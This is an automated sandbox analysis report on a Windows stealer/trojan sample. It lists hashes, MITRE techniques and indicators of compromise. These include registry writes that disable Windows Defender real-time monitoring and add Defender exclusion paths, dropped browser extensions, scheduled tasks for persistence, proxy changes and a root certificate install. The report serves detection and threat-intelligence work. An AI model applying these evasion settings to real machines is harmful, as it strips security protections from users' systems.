8a5bc0c96789c4f851d8448cc8da891152f475f188b782f44238c5720d246d89

Analysis

max time kernel
131s
max time network
137s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
25-09-2022 10:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

42e0304972c1bcd3730d6f4abb53eb53
SHA1

c203864796ff4b511e28bcb5db50fc01547c8b22
SHA256

8a5bc0c96789c4f851d8448cc8da891152f475f188b782f44238c5720d246d89
SHA512

664aeff81ea845cf7f5ae01bbfade5eb443e4971d47326d877ae14bc8ef0ccf154680bbcedf7eb785dbc88af1942c6b75e442ce06c00b317b2f0df3364894c51
SSDEEP

196608:91ObSkfIVMsR40tzzRpV/OT19ZQ+NjgjELeDfOTnpjF6GhDyTAhyzLF9ik:3ObSPVMstt5POT1bNYDfy8kDy5zp9F

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.execonhost.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0"
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0"	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Blocklisted process makes network request 6 IoCs

Processes:

rundll32.exe

flow pid process

29 948 rundll32.exe
30 948 rundll32.exe
31 948 rundll32.exe
32 948 rundll32.exe
33 948 rundll32.exe
35 948 rundll32.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exebTOtYqZ.exeeYHgBri.exe

pid process

1148 Install.exe
1844 Install.exe
1948 bTOtYqZ.exe
1204 eYHgBri.exe

flow	pid	process
29	948	rundll32.exe
30	948	rundll32.exe
31	948	rundll32.exe
32	948	rundll32.exe
33	948	rundll32.exe
35	948	rundll32.exe

pid	process
1148	Install.exe
1844	Install.exe
1948	bTOtYqZ.exe
1204	eYHgBri.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

eYHgBri.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation eYHgBri.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation	eYHgBri.exe

Loads dropped DLL 12 IoCs

Processes:

file.exeInstall.exeInstall.exerundll32.exe

pid	process
852	file.exe
1148	Install.exe
1148	Install.exe
1148	Install.exe
1148	Install.exe
1844	Install.exe
1844	Install.exe
1844	Install.exe
948	rundll32.exe
948	rundll32.exe
948	rundll32.exe
948	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

Processes:

eYHgBri.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	eYHgBri.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	eYHgBri.exe

Drops file in System32 directory 23 IoCs

Processes:

powershell.EXEeYHgBri.exerundll32.exepowershell.EXEbTOtYqZ.exepowershell.EXEpowershell.EXEInstall.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	eYHgBri.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	eYHgBri.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	eYHgBri.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	eYHgBri.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	bTOtYqZ.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	eYHgBri.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	eYHgBri.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	eYHgBri.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	eYHgBri.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	eYHgBri.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	eYHgBri.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	bTOtYqZ.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	eYHgBri.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	eYHgBri.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	eYHgBri.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	eYHgBri.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	bTOtYqZ.exe

Drops file in Program Files directory 13 IoCs

Processes:

eYHgBri.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	eYHgBri.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\wyulCKL.xml	eYHgBri.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\PBDzuvv.dll	eYHgBri.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\eIlOhUS.xml	eYHgBri.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\BnMVuDfQyZJvG.dll	eYHgBri.exe
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\uEYMoDn.dll	eYHgBri.exe
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\grwzjQw.xml	eYHgBri.exe
File created	C:\Program Files (x86)\CXdyuXxQU\nVDQZv.dll	eYHgBri.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	eYHgBri.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	eYHgBri.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	eYHgBri.exe
File created	C:\Program Files (x86)\CXdyuXxQU\VbQlHdF.xml	eYHgBri.exe
File created	C:\Program Files (x86)\bOFQhydRtxUn\rDGEckA.dll	eYHgBri.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\beNJzxXkYGhzSCmkZn.job	schtasks.exe
File created	C:\Windows\Tasks\GrrjjXtPjBVPFNmZQ.job	schtasks.exe
File created	C:\Windows\Tasks\ErhcMqZyPKQzNnH.job	schtasks.exe
File created	C:\Windows\Tasks\NSdDFfEujjmGqHjBl.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1420	schtasks.exe
1696	schtasks.exe
1684	schtasks.exe
268	schtasks.exe
1944	schtasks.exe
1380	schtasks.exe
1364	schtasks.exe
616	schtasks.exe
1944	schtasks.exe
836	schtasks.exe
1620	schtasks.exe
1228	schtasks.exe
580	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

eYHgBri.exerundll32.exewscript.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	eYHgBri.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	eYHgBri.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-33-9c-04-9d-e4\WpadDecision = "0"	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E921983C-2FAD-4A4F-83B0-DB8B61C93344}\0a-33-9c-04-9d-e4	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	eYHgBri.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E921983C-2FAD-4A4F-83B0-DB8B61C93344}\WpadDecision = "0"	eYHgBri.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	eYHgBri.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f000a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-33-9c-04-9d-e4\WpadDecision = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	eYHgBri.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E921983C-2FAD-4A4F-83B0-DB8B61C93344}\WpadNetworkName = "Network 2"	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-33-9c-04-9d-e4	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-33-9c-04-9d-e4\WpadDetectedUrl	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	eYHgBri.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	eYHgBri.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-33-9c-04-9d-e4\WpadDecisionTime = b0892cdcc6d0d801	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	eYHgBri.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-33-9c-04-9d-e4\WpadDecisionReason = "1"	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E921983C-2FAD-4A4F-83B0-DB8B61C93344}\WpadDecisionReason = "1"	eYHgBri.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	eYHgBri.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	eYHgBri.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f000a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	eYHgBri.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	eYHgBri.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-33-9c-04-9d-e4\WpadDecisionReason = "1"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	eYHgBri.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	eYHgBri.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

eYHgBri.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	eYHgBri.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff